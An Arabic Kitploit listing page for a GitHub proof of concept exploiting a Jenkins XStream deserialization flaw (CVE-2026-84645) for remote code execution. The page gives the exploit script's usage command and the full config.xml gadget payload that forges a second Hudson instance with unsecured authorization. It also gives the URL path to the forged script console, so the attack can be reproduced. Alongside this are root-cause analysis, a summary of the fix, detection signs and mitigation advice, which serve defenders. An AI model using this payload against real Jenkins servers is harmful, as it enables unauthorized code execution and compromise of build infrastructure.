Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/mhtsec/cve-2026-84645
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمر
GitHubmhtsec/cve-2026-84645

CVE-2026-84645

# استغلال عدم أمان إلغاء التسلسل في Jenkins PersistenceRoot لتنفيذ أوامر عن بُعد (SECURITY-3972) — إثبات المفهوم والتحليل. يتطلب صلاحية Item/Configure؛ يؤثر على الإصدار الأسبوعي <= 2.579 / الإصدار طويل الدعم LTS <= 2.568.2

عرض المستودع
126منذ 21 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-84645 — ثغرة إلغاء تسلسل PersistenceRoot في Jenkins تؤدي إلى تنفيذ أوامر عن بُعد (SECURITY-3972)

إثبات مفهوم (PoC) لثغرة إلغاء التسلسل في Jenkins والتي تم إصلاحها في 2026-09-02 (الإعلان). يمكن لحساب منخفض الصلاحيات يمتلك صلاحية Item/Configure على أي وظيفة واحدة تحويل ذلك إلى تنفيذ تعسفي للأكواد كمستخدم نظام تشغيل Jenkins.

المتأثرJenkins الأسبوعي ≤ 2.579، LTS ≤ 2.568.2
المُصلَحالأسبوعي 2.580، LTS 2.568.3
الشرط المسبقمصادقة، صلاحية Item/Configure على ≥ 1 وظيفة
الأثرتنفيذ أوامر عن بُعد كحساب خدمة Jenkins
CVSS8.8 (عالية)

لأغراض البحث الأمني المصرح به على بيئات الاختبار المعرضة للخطر فقط.

الاستخدام

root@kitploit:~
pip install requests
python3 exp.py --url http://<target>:<port> --user <user> --password <pass> [--job <name>] --cmd id

يتحقق السكربت من أن الحساب لا يمتلك صلاحية السكربت (يتوقع 403)، ويُرسل ملف config.xml المُعدّ، ثم يوجّه عبر مخطط الكائنات المحقون إلى وحدة تحكم سكربتات تكون قائمة التحكم بالوصول (ACL) الخاصة بها خاضعة لتحكم المهاجم.

التحليل الفني

السبب الجذري

سلوكان طويلا الأمد في مجموعة XStream الخاصة بـ Jenkins (hudson.util.XStream2 / RobustReflectionConverter) يتضافران:

  1. يمكن إلغاء تسلسل أنواع PersistenceRoot كقيم حقول متداخلة. يقيّد JEP-200 أي الفئات قد يتم إلغاء تسلسلها، لكن ليس أين في مخطط الكائنات. أي حقل مُنمّط كنوع فرعي من (أو قابل للإسناد إلى) PersistenceRoot كان يُفكّك ككائن عادي. وبما أن XStream يُنشئ عبر Unsafe.allocateInstance (بدون مُنشئ)، يمكن للمهاجم تزوير نسخة ثانية من hudson.model.Hudson بقيم حقول تعسفية — بما في ذلك authorizationStrategy.
  2. كانت الحقول العابرة (transient) تُفكّك أيضًا (سلوك التوافق "إلغاء التسلسل إلى حقول عابرة مثل XStream 1.1.3"). مراجع الكائنات المطلوبة لتوجيه طلبات Stapler (FingerprintAction.build، Run.project، AbstractItem.parent) هي حقول عابرة، لذا تصبح الكائنات المحقونة قابلة للوصول عبر HTTP — وهي صياغة "معالجة طلبات HTTP لاحقًا عبر Stapler" في الإعلان.

سلسلة الأدوات (Gadget chain)

POST /job/<job>/config.xml (يتطلب فقط صلاحية Item/Configure) يحقن في <actions> الخاصة بالوظيفة:

root@kitploit:~
<actions>
  <hudson.tasks.Fingerprinter_-FingerprintAction>
    <build class="hudson.model.FreeStyleBuild">        <!-- PersistenceRoot متداخل (عيب 1)؛ حقل عابر (عيب 2) -->
      <project class="hudson.model.FreeStyleProject">  <!-- Run.project: نهائي عابر محمي -->
        <parent class="hudson.model.Hudson">            <!-- AbstractItem.parent: عابر؛ Jenkins ثانٍ مزوّر -->
          <authorizationStrategy class="hudson.security.AuthorizationStrategy$Unsecured"/>
        </parent>
        <name>...</name>
        <properties/>                                  <!-- يتجنب NPE في Job.getOverrides() -->
      </project>
    </build>
    <record/>
  </hudson.tasks.Fingerprinter_-FingerprintAction>
</actions>

ثم يوجّه Stapler الطلب إلى المخطط المزوّر:

تجاوز التفويض: يتحقق doScriptText من صلاحية ADMINISTER مقابل النسخة التي استلمت الطلب، أي getACL() الخاصة بـ Hudson المزوّر، والتي تُشتق من حقل authorizationStrategy الخاص بها — وAuthorizationStrategy$Unsecured يمنح كل شيء. استراتيجية التفويض الخاصة بوحدة التحكم الحقيقية لا تشارك أبدًا. وبما أنه لا يتم تشغيل أي مُنشئ أثناء إلغاء التسلسل، فإن مُهيّئات الحقول لا تُطبَّق؛ يجب على الحمولة تعيين authorizationStrategy (وproperties) بشكل صريح.

تحليل الإصلاح (2.580)

مقارنة jenkins-2.579 → jenkins-2.580:

  • يرفض RobustReflectionConverter.doUnmarshal الآن إلغاء تسلسل نوع فرعي من PersistenceRoot في حقل متداخل (CriticalXStreamException: "كائنات PersistenceRoot هي جذور مستندات ويجب ألا تظهر كقيم حقول متداخلة")، مما يسمح فقط بثلاثة أشكال آمنة: مراجع XStream الخلفية reference=، ومُستبدِلات resolves-to غير الدائمة (Run$Replacer، User$Replacer، …)، ومراجع قياسية لمحوّلات ذات قيمة واحدة.
  • تعليقات توضيحية جديدة @XStreamNotDeserializable / @XStreamDeserializable بالإضافة إلى TRANSIENT_FIELD_STRICT_MODE تُشدّد إلغاء تسلسل الحقول العابرة لكل حقل.
  • يرفض Jenkins.readResolve() الآن إلغاء تسلسل نسخة ثانية من Jenkins وأضاف مُستبدِل writeReplace().

ملاحظات

  • الحقن في الذاكرة (عابر): إعادة تشغيل Jenkins تمسحه، لكن يمكن إعادة إرساله متى شئت.
  • الكشف: حمولات POST /job/*/config.xml غير متوقعة تحتوي على Fingerprinter_-FingerprintAction / hudson.model.Hudson متداخلة، أو طلبات إلى /job/*/fingerprints/run/parent/parent/scriptText.

التخفيف

  • الترقية إلى الأسبوعي ≥ 2.580 / LTS ≥ 2.568.3.
  • تقييد صلاحية Item/Configure على المسؤولين الموثوقين في مصفوفة التفويض.
  • تدقيق سجلات الوصول للأنماط أعلاه؛ أعد تشغيل النسخ المشبوهة وافحص ملفات config.xml الخاصة بالوظائف بحثًا عن التلوث.

المراجع

  • https://www.jenkins.io/security/advisory/2026-09-02/#SECURITY-3972
  • https://nvd.nist.gov/vuln/detail/CVE-2026-84645
تنزيل الأداة
مقطع URLيُحل إلىمسار الكود
/job/<job>/fingerprintsFingerprintAction المحقونurlName == "fingerprints" + Actionable.getDynamic()
/runFreeStyleBuild المزوّرFingerprintAction.getRun() يقرأ الحقل العابر build
/parentFreeStyleProject المزوّرRun.getParent() يقرأ final transient project
/parenthudson.model.Hudson المزوّرAbstractItem.getParent() يقرأ الحقل العابر parent
/scriptTextوحدة تحكم سكربتات النسخة المزوّرةJenkins.doScriptText() → _doScript(..., getACL())
  • اختبارات الانحدار: test/src/test/java/jenkins/security/Security3972Test.java، Security3972QueueRestartTest.java.